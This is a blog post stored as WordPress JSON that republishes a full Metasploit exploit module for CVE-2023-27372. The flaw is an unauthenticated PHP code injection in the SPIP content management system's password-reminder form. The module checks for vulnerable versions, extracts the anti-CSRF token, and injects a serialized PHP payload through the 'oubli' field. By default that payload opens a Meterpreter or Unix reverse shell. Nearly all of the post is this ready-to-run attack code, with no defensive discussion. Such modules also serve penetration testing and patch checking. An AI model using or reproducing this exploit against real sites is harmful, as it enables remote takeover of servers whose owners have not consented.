{"id":40498,"date":"2023-04-18T22:09:04","date_gmt":"2023-04-18T18:09:04","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/171921\/spip_rce_form.rb.txt"},"modified":"2023-04-19T21:31:23","modified_gmt":"2023-04-19T17:01:23","slug":"spip-remote-command-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/spip-remote-command-execution\/","title":{"rendered":"SPIP Remote Command Execution"},"content":{"rendered":"<p dir=\"ltr\" style=\"text-align: left;\">##<br \/>\n# This module requires Metasploit: https:\/\/metasploit.com\/download<br \/>\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>\n##<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">class MetasploitModule &lt; Msf::Exploit::Remote<br \/>\nRank = ExcellentRanking<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">include Msf::Exploit::CmdStager<br \/>\ninclude Msf::Exploit::Remote::HttpClient<br \/>\nprepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">def initialize(info = {})<br \/>\nsuper(<br \/>\nupdate_info(<br \/>\ninfo,<br \/>\n&#8216;Name&#8217; =&gt; &#8216;SPIP form PHP Injection&#8217;,<br \/>\n&#8216;Description&#8217; =&gt; %q{<br \/>\nThis module exploits a PHP code injection in SPIP. The vulnerability exists in the<br \/>\noubli parameter and allows an unauthenticated user to execute arbitrary commands<br \/>\nwith web user privileges. Branches 3.2, 4.0, 4.1 and 4.2 are concerned. Vulnerable versions<br \/>\nare &lt;3.2.18, &lt;4.0.10, &lt;4.1.18 and &lt;4.2.1.<br \/>\n},<br \/>\n&#8216;Author&#8217; =&gt; [<br \/>\n&#8216;coiffeur&#8217;, # Initial discovery<br \/>\n&#8216;Laluka&#8217;, # PoC<br \/>\n&#8216;Julien Voisin&#8217; # MSF module<br \/>\n],<br \/>\n&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>\n&#8216;References&#8217; =&gt; [<br \/>\n[ &#8216;URL&#8217;, &#8216;https:\/\/blog.spip.net\/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-2-1-SPIP-4-1-8-SPIP-4-0-10-et.html&#8217; ],<br \/>\n[ &#8216;URL&#8217;, &#8216;https:\/\/therealcoiffeur.com\/c11010&#8217; ],<br \/>\n[ &#8216;CVE&#8217;, &#8216;2023-27372&#8217; ],<br \/>\n],<br \/>\n&#8216;Privileged&#8217; =&gt; false,<br \/>\n&#8216;Platform&#8217; =&gt; %w[php linux unix],<br \/>\n&#8216;Arch&#8217; =&gt; [ARCH_PHP, ARCH_CMD],<br \/>\n&#8216;Targets&#8217; =&gt; [<br \/>\n[<br \/>\n&#8216;Automatic (PHP In-Memory)&#8217;,<br \/>\n{<br \/>\n&#8216;Platform&#8217; =&gt; &#8216;php&#8217;,<br \/>\n&#8216;Arch&#8217; =&gt; ARCH_PHP,<br \/>\n&#8216;DefaultOptions&#8217; =&gt; { &#8216;PAYLOAD&#8217; =&gt; &#8216;php\/meterpreter\/reverse_tcp&#8217; },<br \/>\n&#8216;Type&#8217; =&gt; :php_memory,<br \/>\n&#8216;Payload&#8217; =&gt; {<br \/>\n&#8216;BadChars&#8217; =&gt; &#8220;\\x22\\x00&#8221;<br \/>\n}<br \/>\n}<br \/>\n],<br \/>\n[<br \/>\n&#8216;Automatic (Unix In-Memory)&#8217;,<br \/>\n{<br \/>\n&#8216;Platform&#8217; =&gt; &#8216;unix&#8217;,<br \/>\n&#8216;Arch&#8217; =&gt; ARCH_CMD,<br \/>\n&#8216;DefaultOptions&#8217; =&gt; { &#8216;PAYLOAD&#8217; =&gt; &#8216;cmd\/unix\/reverse&#8217; },<br \/>\n&#8216;Type&#8217; =&gt; :unix_memory,<br \/>\n&#8216;Payload&#8217; =&gt; {<br \/>\n&#8216;BadChars&#8217; =&gt; &#8220;\\x22\\x00\\x27&#8221;<br \/>\n}<br \/>\n}<br \/>\n],<br \/>\n],<br \/>\n&#8216;Notes&#8217; =&gt; {<br \/>\n&#8216;Stability&#8217; =&gt; [ CRASH_SAFE ],<br \/>\n&#8216;Reliability&#8217; =&gt; [ REPEATABLE_SESSION ],<br \/>\n&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS]\n},<br \/>\n&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>\n&#8216;DisclosureDate&#8217; =&gt; &#8216;2023-02-27&#8217;<br \/>\n)<br \/>\n)<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">register_options(<br \/>\n[<br \/>\nOptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;The base path to SPIP application&#8217;, &#8216;\/&#8217;]),<br \/>\n]\n)<br \/>\nend<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">def check<br \/>\nuri = normalize_uri(target_uri.path, &#8216;spip.php&#8217;)<br \/>\nres = send_request_cgi({ &#8216;uri&#8217; =&gt; uri.to_s })<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">return Exploit::CheckCode::Unknown(&#8216;Target is unreachable.&#8217;) unless res<br \/>\nreturn Exploit::CheckCode::Unknown(&#8220;Target responded with unexpected HTTP response code: #{res.code}&#8221;) unless res.code == 200<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">version_string = res.get_html_document.at(&#8216;head\/meta[@name=&#8221;generator&#8221;]\/@content&#8217;)&amp;.text<br \/>\nreturn Exploit::CheckCode::Unknown(&#8216;Unable to find the version string on the page: spip.php&#8217;) unless version_string =~ \/SPIP (.*)\/<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">version = ::Regexp.last_match(1)<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">if version.nil? &amp;&amp; res.headers[&#8216;Composed-By&#8217;] =~ \/SPIP (.*) @\/<br \/>\nversion = ::Regexp.last_match(1)<br \/>\nend<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">return Exploit::CheckCode::Unknown(&#8216;Unable to determine the version of SPIP&#8217;) unless version<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">print_status(&#8220;SPIP Version detected: #{version}&#8221;)<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">rversion = Rex::Version.new(version)<br \/>\nif rversion &gt;= Rex::Version.new(&#8216;4.2.0&#8217;)<br \/>\nif rversion &lt; Rex::Version.new(&#8216;4.2.1&#8217;)<br \/>\nreturn Exploit::CheckCode::Appears<br \/>\nend<br \/>\nelsif rversion &gt;= Rex::Version.new(&#8216;4.1.0&#8217;)<br \/>\nif rversion &lt; Rex::Version.new(&#8216;4.1.18&#8217;)<br \/>\nreturn Exploit::CheckCode::Appears<br \/>\nend<br \/>\nelsif rversion &gt;= Rex::Version.new(&#8216;4.0.0&#8217;)<br \/>\nif rversion &lt; Rex::Version.new(&#8216;4.0.10&#8217;)<br \/>\nreturn Exploit::CheckCode::Appears<br \/>\nend<br \/>\nelsif rversion &gt;= Rex::Version.new(&#8216;3.2.0&#8217;)<br \/>\nif rversion &lt; Rex::Version.new(&#8216;3.2.18&#8217;)<br \/>\nreturn Exploit::CheckCode::Appears<br \/>\nend<br \/>\nend<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">return Exploit::CheckCode::Safe<br \/>\nend<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">def execute_command(cmd, args = {})<br \/>\nsend_request_cgi(<br \/>\n{<br \/>\n&#8216;uri&#8217; =&gt; args[&#8216;uri&#8217;],<br \/>\n&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>\n&#8216;vars_post&#8217; =&gt; {<br \/>\n&#8216;page&#8217; =&gt; &#8216;spip_pass&#8217;,<br \/>\n&#8216;lang&#8217; =&gt; &#8216;fr&#8217;,<br \/>\n&#8216;formulaire_action&#8217; =&gt; &#8216;oubli&#8217;,<br \/>\n&#8216;formulaire_action_args&#8217; =&gt; args[&#8216;csrf&#8217;],<br \/>\n&#8216;oubli&#8217; =&gt; cmd<br \/>\n}<br \/>\n}<br \/>\n)<br \/>\nend<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">def exploit<br \/>\nuri = normalize_uri(target_uri.path, &#8216;spip.php?page=spip_pass&amp;lang=fr&#8217;)<br \/>\nres = send_request_cgi({ &#8216;uri&#8217; =&gt; uri })<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">fail_with(Msf::Exploit::Failure::Unreachable, &#8220;The request to uri: #{uri} did not respond&#8221;) unless res<br \/>\nfail_with(Msf::Exploit::Failure::UnexpectedReply, &#8220;Got an http code that isn&#8217;t 200: #{res.code}, when sending a request to uri: #{uri}&#8221;) unless res&amp;.code == 200<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">csrf = &#8221;<br \/>\nunless (node = res.get_html_document.xpath(&#8216;\/\/form\/\/input[@name=&#8221;formulaire_action_args&#8221;]&#8217;)).empty?<br \/>\ncsrf = node.first[&#8216;value&#8217;]\nend<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">print_status(&#8220;Got anti-csrf token: #{csrf}&#8221;)<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">print_status(&#8220;#{rhost}:#{rport} &#8211; Attempting to exploit&#8230;&#8221;)<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">oubli = &#8221;<br \/>\ncase target[&#8216;Type&#8217;]\nwhen :php_memory<br \/>\noubli = &#8220;s:#{payload.encoded.length + 6 + 2}:\\&#8221;&lt;?php #{payload.encoded}?&gt;\\&#8221;;&#8221;<br \/>\nwhen :unix_memory<br \/>\noubli = &#8220;s:#{payload.encoded.length + 14 + 4}:\\&#8221;&lt;?php system(&#8216;#{payload.encoded}&#8217;)?&gt;\\&#8221;;&#8221;<br \/>\nend<br \/>\nexecute_command(oubli, { &#8216;uri&#8217; =&gt; uri, &#8216;csrf&#8217; =&gt; csrf })<br \/>\nend<br \/>\nend<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## # This module requires Metasploit: https:\/\/metasploit.com\/download # Current source: https:\/\/github.com\/rapid7\/metasploit-framework ## class MetasploitModule &lt; Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, &#8216;Name&#8217; =&gt; &#8216;SPIP form PHP Injection&#8217;, &#8216;Description&#8217; =&gt; %q{ This module exploits a PHP code injection in SPIP. The vulnerability exists in the &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-40498","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/40498","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=40498"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/40498\/revisions"}],"predecessor-version":[{"id":40559,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/40498\/revisions\/40559"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=40498"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=40498"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=40498"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}